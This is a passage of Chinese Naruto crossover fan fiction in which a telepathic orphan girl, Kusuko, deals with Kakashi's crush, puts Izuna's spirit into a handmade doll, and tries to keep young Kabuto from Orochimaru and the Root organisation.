‘啊……所以说,原来魅魔是卡卡西吗?真是抱歉呐,身为女主角的我,再次自我意识过剩了。’ 楠子虚下眼看着两人将其他几个小孩吓跑,而后转向了自己。 “嘿,你是齐木楠子是吧?我是乙班的迈特凯,请多多指教!” “那个,我是丁班的宇智波带土。” 楠子多看了一眼那位“宇智波”,而后回答:“你好,我是甲班的齐木楠子。” ----------------- ‘啊……孤儿,怎么木叶满眼都是孤儿,这世界就是个大型孤儿院吧?’ 齐木楠子双手交叉,撑在自己的额头下。 ‘如果是这样,还不如让我去《死○》《海○王》乃至《全职……哦不,最后一个还是算了。’ 聆听心音,她已经得知了,想要和旗木卡卡西“打成一片”的两个男孩其实都是孤儿,只是一个有亲戚抚养,另外一个则是血缘关系比较远的奶奶。 他们甚至给她介绍了新的朋友,野原琳,而后趁着这个机会,她还认识了三代火影的儿子阿斯玛,幻术世家出身的夕日红等等一众忍者。 他们的天赋有高有低,在这其中,齐木楠子只是个毫不起眼的可爱女孩而已。 对,可爱很重要,毫不起眼也很重要! 她之所以和他们打好关系,也是为了了解忍者相关的事。 至于关系亲近的野乃宇和时常见到的旗木大叔,她倒是不想询问了,毕竟面对真正的忍者,她反而要谨慎。 看向了身边一身绿色紧身服的男孩,楠子问:“那么凯,你每天都是这样艰苦训练的吗?” “当然啦!楠子,要一起吗?不要怕流汗!这可是青春的象征啊!”迈特凯露出一口大白牙,十分兴奋。 ‘抱歉,流汗什么的,还是算了,就算我绕着地球跑个十圈也不会流汗。’楠子面无表情。 看楠子不说话,迈特凯挠了挠头,“那你帮我计时吧!好!今天午休就要绕木叶小学跑十圈!” “嗯。” “开始喽!楠子!” “好的。”接过了迈特凯手中的秒表,楠子看着他一溜烟跑远,微微计算了一下时间。 ‘看这速度,就算是跑一圈回来,大概也要十分钟吧?可以去趟小卖部。’ 这样想着,她就去小卖部买了咖啡果冻,而后又拿了两瓶水,看了看上面补充电解质的标签,她点了点头。 ‘这样,也有来这里的理由了。’ 于是,齐木楠子就坐在了木叶小学一处长椅上,微微摆着腿,一边品尝咖啡果冻,一边和飞奔路过的迈特凯打招呼。 一圈、两圈、三圈…… ‘已经第十圈了吧。’楠子站起身,拿起了水,看向了远方。 一个绿色的小点从容跑来,这十圈的路程却像是没有带给他丝毫的困难。 ‘呀嘞呀嘞,这其实也是个怪物吗?’楠子默然看着对方,歪了歪头,‘所以,其实是我耽误了对方的练习吧?’ 楠子清楚地知道,迈特凯只是不想让她落单,而后再遇到霸凌事件而已。 ‘要么午休的时候,还是和琳她们聚在一起。只是,这次,要好好感谢。’ 她想着,给逐渐跑近的迈特凯递上了水。 “凯,给你……” “楠子!” 楠子的眼睛微微睁大,给水的动作也僵硬了住了。 比她反应更大的则是迈特凯,“噢噢噢噢!我宿命的对手旗木卡卡西,你回来啦!哈!你一定是在高兴吧!快点和我比一场!” 这响亮的声音和卡卡西嘈杂的心声绑缚在了一起,楠子不由得虚下眼。 ‘不哦,惨绿少年,卡卡西……正恨不得打你一顿呢。’ ----------------- 任务什么的,对于天才少年忍者旗木卡卡西来说并不算难,更何况因为他父亲的缘故,大部分忍者对于他都有几分照顾。 只是旗木卡卡西还是不明白,自己那样强大的父亲,为什么会在木叶内忧外患的时候退休呢? “嘛,卡卡西你也不知道呀!没关系没关系,既然是朔茂前辈的决定,那一定就有他的道理吧!” 带队的忍者这样说着,卡卡西却凭空感觉到一股压力。 ‘父亲既然退休了,那么我就必须继承父亲的威名才可以。’ 这压力并不会让他觉得痛苦,只会让他越发努力认真。 不过是个为期一个月的护卫任务,等到时间一到,他就踏上了回木叶的路。 按照要求做出口头报告和总结,等到了家里已经是晚上。 他居然比父亲还早到家,肚子“咕咕”叫了起来。 打开冰箱,里面的荧光映照在他的脸上,空空如也的内里,简直和他的肚子一样。 知道自己最近就会回来,但家里……居然什么都没有吗? 他呆滞了几秒,才压下了有些委屈的心绪,低下了头。 “算了,还是去外面吃吧。” 脚步欲动,那边的门倒是先开了。 父亲那灰白色的头发冒了进来,一脸惊讶:“卡卡西?你居然是今天回来吗?” “啊……是的父亲。” 父亲看了看手中的袋子,笑容忽而自诧异变作隐秘的开怀。 “真巧啊。”他说,“楠子之前还让我带 上咖喱饭,冻在冰箱里,说如果你近期回来就可以热一下吃。” “额?……唔。”面具覆盖着,卡卡西却感觉自己的脸颊有些发热。 这个年代,无论是男孩还是女孩,都有些早熟,更遑论自诩天才的旗木卡卡西。 不过现在才六岁的他当然没往其他地方想,只是心底那股暖融融的感动无需作假。 第二日早上还需要将相关的汇报文书交上,他恢复了木叶优等生的装扮,急匆匆跑向木叶小学。 ‘楠子这个时候在做什么呢?哈……不会又是在偷懒吧?’ 可是脚步停住,在楠子惯常应该在的地方,他却没看到对方。 卡卡西心底微微升起忧虑,见四下无人,就下定决心招出忍犬。 “哈欠~卡卡西呀,不是才做完任务吗?又有事?……啊,你说之前那个女孩。”忍犬帕克动了动鼻子,指出一个方向,但是那双黑黝黝的眼眸里却露出了人性化的担忧。 “卡卡西,通灵术,可不是让你随意跟踪女同学的哦。” “啰嗦!我是不会那样干的啦!”面对自家亲近的忍犬,卡卡西脸上带出一抹恼羞成怒,解除召唤就向着那个方向行去。 ‘楠子去那边做什么?’想着对方平淡却高冷的精致面容,他心底升起隐忧,脚步越发快了,远远只看到一只绿色的青蛙叫唤着“青春啊”“羁绊啊”什么的就冲了过去。 ‘好像听到了自己的名字了。……算了,应该没什么。’卡卡西眉头微蹙,脚步不停,远远却看到一个穿着水手服的粉发女孩。 ‘是楠子?……等等……’ 楠子站起来了。 楠子拿起了水瓶和毛巾。 楠子把水和毛巾递给了绿色青蛙! ‘什么?!’旗木卡卡西的声音几乎在心底变了调,不由得喊道:“楠子!” ----------------- ‘只是递水而已,请不要将我和对方孩子的姓名都编出来啊!’ 齐木楠子半垂着眼,身体不由自主地开始冒寒气。 她知道旗木卡卡西在旗木大叔出任务而无人管束的时候,看了许多书。 但是大脑违背理智,直接给她这个六岁的幼女串出恋爱、结婚、生子一系列情节是怎么回事? ‘呵,你知道生孩子要怎么生吗你?’ 就是因为这样,楠子一脸冷气,直接被误认为被打扰了的不满。 要问她怎么知道的,那还用问吗? 卡卡西那沮丧的心声已经几乎要具现化了啊。 “啊,楠子,你在这里,这位是?”【迈特凯?乙班的?……楠子怎么会认识他?不会是因为这段时间发生了什么事吧?】 楠子的嘴角隐秘地抽搐了一下,在迈特凯的吱哇声中,微微别过脑袋,“前段时间,有人找麻烦,是迈特凯帮了我。” 卡卡西似是一怔,就在楠子以为他要明白的时候,他那聪明的小脑瓜里又窜出来了一些有的没的的想法。 【楠子又被霸凌了?还是在我不在的时候……怎么办,楠子和任务相比……我……】 ‘选不出来就不要选啊。’楠子感到无力,她是不能理解卡卡西这额外的责任心来自哪里。 若说是班主任的委托,那他现在已经做的够多了。 想了想,她将多余的一瓶水递了出去。 “给。” “嗯?”卡卡西惊讶地看着她。 “还没来得及说,”楠子面容素净无波,眼睛却微微抬起,看向了旗木卡卡西,“欢迎回来,卡卡西。” 9. 玩偶 都已经说自己是个成熟的忍者了,为什么要在心底放烟花呢! 热血漫画要进化成恋爱轻喜剧了吗? 没救了,她感觉这个小孩早熟到可以当童工,又晚熟到幼稚无比的世界没救了。 何况她现在感觉旗木卡卡西几乎和她的兄长一样,每天一起吃早饭,午饭,晚饭,就差没有住在一个屋檐下。 为了不暴露自己的超能力,她必须每天绷紧自己的神经。 “那个,楠子,我先把卡卡西借走哦。” “嗯?没关系。……等等,我和卡卡西没有其他关系,只是旗木大叔不会做饭而已。”她目光自懒散变作认真,但是面前的小孩只嘻嘻哈哈地说“明白明白”。 ‘明白的话你倒是在心声里改掉那些不恰当的想法啊!’ 小学一年级什么的就开始拉郎配,这个世界果然很过分! 但是无疑,这样的楠子终于闲了下来,准备去看看宇智波斑和宇智波泉奈的现状。 因为在这个世界里暂时没有任何限制,她的瞬移几乎没有CD时间。 “瞬移!” 身形一闪,下一秒,她已经出现在了一个地洞当中,这里空旷无人,只有上空一线天泄下的光线。 目光转过一圈,她也没用使用透视,而是大声棒读:“宇智波斑,宇智波斑,宇智波……” “别叫了!”抱着压切的斑走了出来,警惕地看着她,“你怎么才来。” ‘啊?……我只是一个六岁的,需要被人看护的小学生而已,为什么要问我怎么才来?’ 没救了,有这样厚脸皮的老人,这个世界没救了。 楠子虚下眼,又看了看跟着斑飘出来的泉奈,“你一直都抱着这把刀睡的吗?泉奈好像很不高兴。” 斑也很不高兴,“你这个年纪,要叫泉奈哥哥才对。” “哦,”楠子面无表情,“那我叫你斑爷爷。” “斑爷爷”如遭雷劈,表面上没有变化,但是楠子听到了他心中的惨呼。 他似乎将这当做了提醒,毕竟他已经老了,没有多少时间了,而如果要让泉奈成佛,他还有很多事要做。 楠子有些无语,实际上,她可以让宇智波斑长命百岁。 ‘哦不,他已经百岁了。’ 更正一下,她可以让宇智波斑不死。 他的身体似乎和普通人不一样,只要稍微注入超能力就能生机勃勃了吧。 ‘这样想来,我似乎也很适合当医疗忍者。’ 楠子分神想着,一边还要听“斑爷爷”的计划。 “你说要阻止战争,其他地方暂时不提,我将轮回眼给了雨之国的一个孩子,我可以去雨之国,平定乱世。” ‘说什么平定乱世,实际上是觉得将自己的弟弟交托给我这个最强超能力者并不算妥当吧?’ 楠子听到了斑的心声,她也没说什么,实际上,她也不可能把压切带在身边。 旗木大叔是不做忍者了,又不是变成了傻瓜。 野乃宇也一样,她其实十分精明细致。 更何况还有卡卡西,他的观察力也不容小觑。 她齐木楠子,身处木叶,四面皆敌。 “那就好。”楠子语气不置可否,但依旧做出了肯定,她的手自身后的背包里掏了掏,揪出一个布偶。 “给。” “什么?”宇智波斑面露诧异,继而就是嫌弃,“这是什么怪东西。” 楠子神色微尬,额角却跳出了一个十字,“是玩偶。” 为了符合泉奈的形象,她还特地挑选了帅哥的款式呢! “我要玩偶做什么……等等,你要做什么?!” 斑几乎是惊恐地看着楠子突进到身边,而后将那玩偶的脸贴在了名刀压切上。 紧接着,有什么变了,又似乎有什么没变,他使出了万花筒写轮眼,却什么都没有看出来。 而在楠子的眼中,一片辉光过后,泉奈那模糊的影子就全部被收入了玩偶之中。 感受到玩偶似乎动了一下,楠子松开了手,蹲了下去。 “怎么样?还适应吗?” 玩偶还有些不能理解,而后,抬起了头,“这感觉……很奇怪。” 那声调颇高,透着可爱的声音更奇怪。 楠子点了点头,“我拆了一个发声玩具,将其中的发声器装了进去,我很穷,也没更合适的部件了。” “唔……”玩偶似乎能够理解。 “什、什么?泉奈?”斑几乎是不敢置信地看着那个玩偶,就见那个玩偶高高仰起了头,而后一下子翻倒在地,坐了个屁股蹲。 ‘哦呼,可爱。’楠子捧着面无表情的脸,心里想着。 斑却在心里尖叫,‘我那俊秀温良的弟弟怎么会变成这个样子!’ 那声音刺得楠子耳朵……哦,不,大脑疼,她不由得解释:“因为你看不到灵魂,所以我采用了这种方式。” “那你也可以找个好一点的人偶!对!等身大的!”斑比划着。 楠子瞥了他一眼,“必须是我亲手制作的,不然……” “那你就去学傀儡术。” “我才六岁。”楠子试着耐心。 “我六岁的时候已经上战场了!” 楠子的眉角跳了一下。 “砂隐村……对!”斑突然像是想到了些什么,“砂隐村的傀儡术很出名!我带你去……呃?” 斑讶异地看着自泥土里翻出的人偶,那是和泉奈的形象一模一样的沙土人,让他怔然无声。 “我不需要学什么傀儡术,”楠子语气冷然,“问题在你弟弟的身上,他的灵魂强度不够。” 她的目光和玩偶的纽扣眼睛相接,泉奈的玩偶在她的注视之下,低下了头。 “兄长,我感觉……控制这个玩偶,都有点困难。” “泉奈……”宇智波斑拧紧了眉头,终于冷静。 他小心地捧起那个玩偶,仔细观察着。 类似于肤色的棉布做了脸部,上面用扣子和线制作了眼睛和嘴巴,黑色的毛线被束成一绺一绺的,用同色的棉线固定在脑袋上,假作头发,身体就粗糙许多了,只做出简单的四肢,而后套上了裤子和长袍。 他紧闭着嘴,就那样盯着,三秒后。 “我给你买布!你重新做!” “啊,你居然嫌弃你的弟弟。”楠子不敢置信。 “这不是我的弟弟,是你做的布偶!” “我才六岁,已经不想熬夜做这个了。” “可我的弟弟不能这么破烂!” “你居然说你弟弟破烂。” “我说了,这……” 斑和楠子正在斗嘴,两人都没发现被斑捏在手中的泉奈的“头 ”一点、一点低了下来。 而后……给了宇智波斑的脸一击“冲拳”! 可那记冲拳因软绵绵的布偶身体,就只像是在抚摸而已。 斑回过神,看向了自己的“弟弟”。 “泉奈。” “兄长,能够再见到你,和你说话,我已经很开心了。”布偶那双纽扣眼睛似乎聚焦在了斑的脸上,“所以,如果你觉得辛苦的话,也不必……” 他话语未尽,已然全部淹没在宇智波斑那双饱含懊悔的眼睛之中。 楠子在一边站着,眼睛从斑的身上划到布偶身上,而后又划回去。 不由得在心里深深叹气。 ‘呀嘞呀嘞,真是对别扭的兄弟呢。’ 明明知道弟弟是以退为进,挤兑自己,却甘之如饴的哥哥。 看到哥哥伤心,就不肯再说重话的弟弟。 ‘这个世界,果然很有问题吧。’楠子不禁想。 ----------------- 宇智波一族爱的兄弟,仗剑走天涯。 楠子的生活却越发平静。 说起来,忍者小学的生活平淡至极。 等到了二年级,就因为考试成绩再次重新分班。 楠子也无话可说,因为忍者是需要上战场的,聚集起精英确实能更好地进行训练。 卡卡西、带土、琳、夕日红、凯……他们都被分到了一个班里。 而楠子毫无疑问地掉队了。 “楠子,你可不要伤心哦!我来教你三身术吧!”野原琳热心又善良。 楠子却十动然拒,“抱歉,我觉得当一个医疗人员也不错。” “但是,即便是医疗人员,也需要学会三身术呀。”野原琳像是想到了什么,笑容变得温暖,“就算是在战争中,有着心爱的人在身边,那么也能够鼓足勇气吧!” ‘抱歉,完全没有这样的体会。’在楠子心中,战争依旧是负面的,所以倒是不明白,为什么战争会让这些少年少女有那么多“浪漫”的幻想。 目光自野原琳的脸上移开,她随意望去却对上了旗木卡卡西怅然若失的眼睛。 两秒之后,她再次移开目光。 ‘别以为像是湿漉漉的小狗一样望着我,我就会心软。让我为了莫名其妙的事去战斗,是绝对不可能的事。’ 一转眼,六年过去。 木叶小学的优等生们都被分配了带队上忍,卡卡西则更是优秀,被分配到了木叶金色闪光波风水门的队伍中。 齐木楠子似是泯然众人,除了木叶小学最美小学生的名号外,什么都没拿到。 “既然如此,我去考木叶医院吧。”在餐桌上,她这样说。 换来了旗木大叔和野乃宇的善意“嘲笑”:“那也是需要查克拉的哦。” “没有关系。” “要么还是练练三身术,留级一年吧。” “这倒不必。” 野乃宇抿了抿唇,最终摸着楠子柔顺的头发,苦笑了起来:“楠子,当忍者也没什么好的哦。” ‘我当然知道。’楠子心里想着。 于是,在踏上雨之国土地的那一秒,面对各个忍者或警惕,或惊疑的眼神。 她面具下的面容依旧冷凝如霜雪,沉声强调: “让我为了莫名其妙的事去战斗,是绝对不可能的事。” 10. 拐带 “呵,少女,这可不是莫名其妙的事啊!”宇智波斑双手环胸,一副大佬的模样。 楠子虚着眼看过他,而后去看旁边的“泉奈”。 六年过去,她的手艺变好了,而“泉奈”也仿若得到了灵魂的滋养,可以操控大一点的人偶了。 现在他大概和已经12岁的楠子差不多大,黑色的晓袍覆盖了全身,连脸上都带着面具。 因此,楠子也看不清对方的脸,只是现在,她也能听到对方的心声。 ‘抱歉,但是,我觉得这件事确实很重要。’ ‘有什么重要的呢?’ 泉奈的心声顿了一下,才道:‘我希望,能够证明我的兄长,也能够当好一个影。’ 楠子沉默了。 六年来,她也逐渐了解了斑和泉奈的过往,知道斑与泉奈的心结在哪里。 说到底,斑根本不算极恶之人,相反,比起泉奈,他反而率直的多。 就像是泉奈明白她六岁时给出的威胁,谎称自己灵魂浓度不够。 他其实也不需要成佛,身为一个转职为刀灵的怨灵,他能做的的可比普通的鬼多得多,只要有足够的鲜血或者灵气,他就能天长地久地活下去。 至于转世,是当然不可能了。 “……你看看这些小孩,他们可是需要一个据点。如果……”斑还在继续说着,却被人突兀打断。 “斑大人,我觉得,我们并不需要借助别人的力量,尤其……还是一个小女孩的。” 站出来的人是弥彦。 他们是初次见面,但楠子已经听斑提过许多次了。 在这六年间,斑与泉奈找到了长门等人,发现对方已经接受了三忍之一自来也的教导。 两人并未因此离开,反而特意接触了三人,一边接纳了更多的忍者,一边建立了组织,试图颠覆雨隐村的统治。 弥彦是个年轻的忍者,有着极亲近的亲朋,也是晓组织能够聚集起许多忍者的原因。 这名橙发的年轻忍者,既是警惕,又是意外,似乎不能理解为什么他们的引导者宇智波斑找到了这样一个孩子,作为撬动雨之国的关键。 是的,斑虽然实力强大,但是他早已年迈,即便能杀死雨隐村的首领山椒鱼半藏,也无法确保雨隐村的臣服。 至于泉奈,他现在的战斗方式和以往截然不同,自然也不想随意出手。 泉奈的心声又响了起来:‘你也想要停止战争,不是吗?’ ‘算了吧,你只不过是想要借我的力量,压服想要掀翻老狼的年轻忍者而已吧?’ 弥彦是个有主见的忍者,早已发现了斑的意图并不单纯。 泉奈似是清淡地笑了笑,‘如果真要杀死他们,我一人足以。’ 足以,但没必要。 楠子转过头,迎上了泉奈那张和自己十分相似的面具,深切地体会到了自己的懒惰和贪婪。 贪婪地想要让世界变得和平,可她又不想真的动手打破这个世界的规则。 毕竟,她不是这个世界的原住民,在别人的地盘上胡搞瞎搞说不定会遭天谴的。 原本可以期待木叶的,可是…… 双眸的紫色变得越发深沉,楠子深呼出口气,恢复了搞笑漫画女主角的本色。 面对弥彦等人,她轻笑了一声,转向了斑:“告诉我时间,地点,而后,你们可以带着这群忍者离远点。” “呵!我就知道你会被说服!”在众忍者的鼓噪中,斑那张熟男脸上露出得逞的笑容。 ‘屁嘞,是你弟弟说服我的,你那些werwer的话我可一点没听进去。’ 面对斑的得意脸,她故意冷淡道:“下次不要因为这点小事就把我叫出来。” 听到斑讶异中掺杂着不满的声音,她的嘴角也隐秘勾起,只是目光一转,对上了弥彦身旁那双浅紫色的眼睛。 ‘原来,面对战争,轮回眼,也不过是无用之物而已。’ 她想着,越发平静。 只是待回到木叶,情况就完全变了。 在孤儿院的阴影处,正有不要脸的大人在试图拐带小孩! 大蛇丸微垂着头,黑色的发丝顺着那精美的衣甲滑落,他气质高雅,如同京都的贵族,可是只有听过他心声,了解他在做什么的人才知道这位三忍之一是多么金玉其外败絮其中。 “兜,你还没有下定决心吗?如果在这个孤儿院呆着,亦或者在木叶小学蹉跎,你也只会最后腐朽成一团烂泥而已。烂泥……是谁都帮不了的。” “大蛇丸大人……”兜仰望着大蛇丸,声音极轻极弱,眼底里却隐藏着崇拜。 楠子的眼睛犀利了起来。 木叶三忍之一大蛇丸,外加他现在所处的根组织,这就是她现在的苦恼所在。 就像是在美味的汤里面突然跳出来一只苍蝇,一只臭虫,一只蟑螂,她恨不得将整碗汤都砸掉。 脚步顿了一瞬,她再次加快步伐,声音如同沁了冰雪:“大蛇丸大人,您还是不要在这里拐带小孩比较好哦。” “拐带……小孩?”大蛇丸的嘴角明显地抽搐了一下,而后露出苦笑,“啊,楠子,你不能因为自己失却了天赋,就阻止别人进步哦。” 他说着,又瞥向了药师兜,像是十分惋惜对方被这样无能的忍者管束。 同一时间,楠子深紫色的瞳孔,也看向了药师兜这位弟弟,声音低沉:“哦,兜……你也是这样想的吗?” 被两人的气机同时锁定,年仅七岁的药师兜狠狠抖了一下,畏缩地低下了头,“那个,我……姐姐……我……” 大蛇丸抿了抿唇,似是很惋惜的模样,“真可怜呐……兜,明明你的天赋是那样出众,那我还是下次再来吧。” ‘最好永远都不要再来了,死绿茶!’ 楠子在心中狠狠念叨,但是面上殊无异色。 见大蛇丸离开,她打开纸格门,脚步一顿,声音冷淡。 “兜,进来。” 药师兜再次颤抖了一瞬,进入了房间之中,跪坐在地上,却用眼睛偷偷去瞧这位姐姐。 他是药师野乃宇在战场上捡到的孩子,那个时候他才三、四岁,一直是野乃宇和楠子、乌鲁西承担着照顾他的任务,转眼间曾经小猫一样的孩子,也长到了七岁。 这其实也是齐木楠子一直以来的隐忧所在。 早在她六岁多的时候,她就知道野乃宇其实承担着巨大的压力。 因为木叶的孤儿院多是志村团藏所带领的根组织进行拨款。 她也曾经深入这个组织查探过,发现这个组织藏污纳垢,里面的黑暗无处不在,甚至还有逼着小孩互相残杀这样的事情。 那时还很傻很天真的她,收集了证据,放在了火影猿飞日斩的面前,最后的结果就是,根组织的警戒程度再次上升。 她当然不会死心。 这可是卡卡西等人深深爱着的木叶啊。 于是,她又收集了一堆不能言说的玩意儿,堆在了火影的面前, 紧盯着火影的反应。 震惊、痛心、颓败、而后是大吵一架……然后,就完了。 是的,什么都没有发生。 根组织的首领志村团藏依旧高高在上,甚至更加嚣张跋扈。 仗着能够覆盖时间,她逼问了火影猿飞日斩为什么不处理志村团藏和根组织的事。 得到的回答是,因为木叶,必须要有人脏手,日斩做不出来的,团藏可以做。 而因猿飞日斩的懦弱、不忍和愧疚,团藏越发气焰嚣张。 看到了这一切,楠子删除了“存档”,跳跃回来。 而后,让宇智波斑这个老人,去恐吓老人。 “如果你再做那些缺德事,损害木叶的威名,我就清理门户,别以为我是开玩笑的。” 在最强写轮眼的威胁之下,团藏确实安分了,但是一些界限模糊的事就没法这样解决。 比如药师兜。 他不知道什么时候被大蛇丸盯上。 自他六岁开始,这已经是大蛇丸第三次招揽药师兜了。 而齐木楠子甚至能从那恶心的心中听到大蛇丸的想法——他其实并不在乎药师兜的是否真的前往,反而很享受这种蛊惑人心的过程。 ‘真恶心!这种变态真恶心!’如果三忍都是这样道貌岸然的变态,那可真是太遗憾了。 怀抱着这样的想法,楠子当然不想让药师兜加入根组织。 可是现在,似乎到了连药师兜本人也想要加入的时候。 有些破旧的房间里,楠子坐在一边,药师兜则端正跪坐着,等待着这位因着冷淡气质,精致面容,毫无畏怯的眼神,而显露巨大威势的姐姐训话。 若说大蛇丸大人像贵族,那么这位姐姐也不遑多让。 沉吟了几秒,楠子道:“兜,其实你不必这样着急。我知道你的天赋,毕业后,通过旗木大叔,你也能分配给一个强大的带队上忍……” “可是我不想等那么久!”药师兜猛然地抬起头,“我也想帮上妈妈!” “兜……”楠子看着那张稚嫩的脸,更听到了那响亮的心音。 虽然旗木朔茂正式加入木叶孤儿院,让孤儿院的境况变好,但是团藏依旧能从金钱上卡住孤儿院的命脉。 这一点连楠子都觉得难办。 而药师兜也敏锐地察觉到了这一点,希望能够通过加入根组织来帮助野乃宇。 楠子那沉默思考的凛然模样更像是毫无感情。 于是药师兜也忍不住了,他大声道:“其实楠子姐,你难道不是在嫉妒我吗?既然你不想帮忙,为什么要阻止我呢?” ‘哈?你在说什么鬼话啊?我可是每天在为了不毁灭忍界兢兢业业呢!’ 楠子眯起了眼睛,她要如何向药师兜说明,自己不做忍者其实是为了这个世界好呢? 想想看吧,只要她认真起来,想要覆灭整个忍界也只是两、三天的事情。 尤其随着年龄的增长,她的超能力已经越发强大。 所以她每天暗示自己要稳定心神,不让自己有太大的情感波动。 药师兜明显不能理解这一点,看到楠子面无表情,顿时越发愤恨起来。 “既然你不想做,就不要阻止我。”他像是无能狂怒,咚咚咚向着门外跑去。 即使撞到了人,也只吼了一声“抱歉”,就跑了个无影无踪。 而此刻,楠子才刚刚回过神来,看向了门口。 她……听到了被撞少年的心声。 11. 邀约 【楠子在吗?呼,今天的发型还可以吧?】 ‘不哦,你现在的发型太规整了,一点都不适合你。’ 来不及以普通人的方式躲避,楠子也起身,打开了门,探出头去。 她白皙的面容上满是淡然,仿若方才和“弟弟”吵架的不是她一般,声音也如碎玉击冰。 “卡卡西,是找旗木大叔吗?” 卡卡西,顿了一秒,点了点头。 楠子却清晰听到对方的心声。 【只是顺路过来碰碰运气,看能不能遇到你而已。】 这种话在这六年之间,她已经听到过无数次了。 顺路来见见自己,顺路给自己带个礼物,顺路和自己说说话…… 不知道为什么,也不知道从何时起,那种原本的保护欲似乎已经沉淀发酵,酿造出另外一种东西。 这种东西当然是甜美的,芬芳的…… ‘但是,纵然你是个帅哥,也不能仗着脸耍流氓!才十二岁,我都要报警了!哦,这个世界的警察也是忍者啊,那没事了……’ 楠子冷淡地点了点头,说:“旗木大叔应该是在后院教小孩子们刀术呢。” 卡卡西应了一声,却并未离开,似乎还想和她说什么。 比如,他通过中忍考试,晋升成中忍了。 楠子深紫色的眼眸一瞬不瞬地盯着他,点了点头:“恭喜你,我会给你送礼物的。” 她抬步欲走。 ‘你可别叫住我啊。’楠子正心想着,忽而就听见身后的声音。 “楠子。” “什么?” 卡卡西顿了一下才道:“马上就要烟火大会了,不知道孤儿院有没有什么安排呢?” 楠子:“不知道,得要看野乃宇院长的安排吧。”说起来,到时候要不要带着孤儿院的孩子们去摆摊呢?好歹是一份收入。 卡卡西又顿了顿,“父亲可能想邀请野乃宇院长。” “是吗?”那就还是不要搞什么摆摊活动了,野乃宇会担心,从而拒绝约会。 她其实早就知道了,野乃宇和旗木朔茂之间似乎产生了不可言说的关系,却以为能瞒过孤儿院的所有人。 他们一个是认为自己不能够嫁人离开孤儿院,另外一个则是因为长得太帅,乃至于迟钝到忽略正常恋爱的节奏。 ‘真是辛苦你了啊,卡卡西的妈妈,和那样的男人在一起,即便是帅哥也有够受的了。呵呵。’楠子虚下眼想。 “烟火大会,大家都说要聚一聚,你要不和我们一起吧?” 【如果大家都聚起来的话,那么楠子也没有理由拒绝了吧?】 ‘绕这么大圈子就是为了邀请我,还真是为难你了啊。’楠子想着,可如果卡卡西给她来一记直球告白,她也会超级为难的。 不过,拒绝的理由她倒是很充分。 “只有我一个平民吧,那样可能会影响你们,所以我拒绝。”她神情平静,卡卡西却又想到了楠子“自卑啊”“难过啊”之类的事情上去了,乃至于又开始自我检讨不该用这种理由去邀约楠子。 ‘累啊……可真是太累了,所以卡卡西你真不愧是旗木朔茂的儿子啊。’楠子干脆冷然说出了一个更不像理由的理由: “我没有新的浴衣,所以不想去。至于现在,要去打工,所以你不用跟着我。” “可……” “卡卡西。”楠子直直看向卡卡西的眼睛,那双深紫色的眼睛就像是水晶。 ‘啧……就算你夸我的眼睛像水晶,我也不会答应的。’她肃下神色,说:“卡卡西,昨晚的电视剧看了吗?” “呃?” “我很喜欢里面的男主角。” “什么?” “就是说,”楠子沉声强调,“我最喜欢的,还是年上的冷面酷哥哦。” 所以,请少说话,也少胡思乱想。 ----------------- 喜欢冷面酷哥什么的,都是假的,只是楠子不想在青春正当时的时候玩恋爱家家酒。 她现在其实很缺钱,毕竟连药师兜都发现了孤儿院状况不好。 于是,她就到了自己最喜欢的甜品店打工。 至于为什么12岁的孩子可以打工,那就只是因为这个村子的大人不是忍者,就是有更合适的工作,孤儿反而又廉价又好用。 直至将最后一波客人送走,楠子终于坐在了甜品店里的小桌边,叼着吸管思考着,自己应该要做些什么。 现在她已经毕业半年了,连卡卡西升为中忍,成为了优秀的忍者。 但是因为她的懒散,她现在一事无成。 原本想要当医疗忍者,但是谁知道木叶的医院都必须要至少会三身术啊! 要继续读书的话,时局不太平,孤儿院又困难,就显得自私了一些。 ‘毕竟在我那个世界,12岁的小孩还根本是童工啊。’因着这样的认识,她之前真的没有考虑过钱的事,原本就准备一成年就靠着猜拳奖金当家里蹲的。 “楠子,来帮帮忙。” “嗯,店长,好的。”她走了过去,接过了店长手中的海报,配合着店长,将海报贴在了展示牌上。 “最强头脑王?”楠子有些讶异。 “是啊,”店长兴奋不已,“木叶终于有自己的电视台了!也有综艺节目了!” ‘可是木叶的电视台不应该办什么忍者大赛吗?再不济,把根组织的捉对厮杀展现一下也不错啊,呵呵……我开玩笑的。’ 楠子面无表情地读着海报上的内容,只是在下一秒直接“哦呼”出声! “这次可是大手笔哦!100万两的奖池!还有签约机会!楠子,你也心动了吧!” “嗯嗯!”楠子重重点头,眼睛里也跳跃出兴奋的色彩。 100万两,对于S级任务来说,算是一笔小钱。 但是对于孤儿院来说,就是足以支撑一年的费用,甚至还有盈余! 直到下班的路上,她还在想着这件事。 身为最强超能力者,她当然不想要引人瞩目。 可是,在这个大家都有特殊能力(指忍术)和特殊能量(指查克拉)的世界里,稍微引人注目一点也没什么吧? ‘只要不是当忍者,或者频繁使用力量的话,木叶的人应该也不会发现我的不妥之处吧。’ 没办法,在这个血腥的世界,想要当一个平平凡凡的美少女实在太难了。 钱的来源似乎搞定了,就算不能拿第一名,但是只要进入前三,就总能找到挣钱的办法。 接下来就是另外一件事需要处理。 ‘从小为兜擦鼻涕,结果他不到7岁就开始了叛逆期吗?做什么不好要去做忍者,加入哪里不好,要加入根组织。’ 她沉沉呼出口气,紫色的眼眸在月光下变得越发幽深。 ‘呀嘞呀嘞,没办法了,还是得让他懂得姐姐的威严才可以。’ ———— 木叶孤儿院的天才少年药师兜,今日有些苦闷。 他不明白自己的姐姐,平凡无奇的齐木楠子为 什么要阻止他加入根组织。 明明如果加入了,妈妈应该也会开怀。他也能够更早的进入忍者系统,帮上忙,这样对于孤儿院不是更好吗? 可不知道为什么,只要他提起这件事,妈妈就会露出一股无奈的神色。 至于三身术都学不会的楠子姐…… 药师兜面色沉重。 自从被野乃宇带回孤儿院以来,他就称呼野乃宇院长为“妈妈”。 孤儿院的大部分孩子也都这样做,其中最大的意外就是美丽却无能的齐木楠子,她只会叫野乃宇“院长”。 她面容精美如同人偶,粉色的发丝本该让人觉得柔弱,可那平静无波的面容,幽深的紫色眼眸,时常让他觉得战栗。 当然,这不是说他们就不亲近了,只是楠子姐好像总能猜到他在想些什么,像是钻入了他的大脑或者内心一样。 可其他人从来不觉得奇怪,就算说出来,也只会得到这样的答复: “那是因为楠子很聪明哦。”——妈妈药师野乃宇。 “啊……楠子是个敏锐通透的孩子呢。”——旗木大叔。 “嗯?……我倒是没有注意到。”——经常来孤儿院蹭饭的卡卡西哥哥。 ‘身为同龄人,你倒是给我注意一下啊!没发现楠子姐有的时候根本就是在逗你玩呢吗?’ 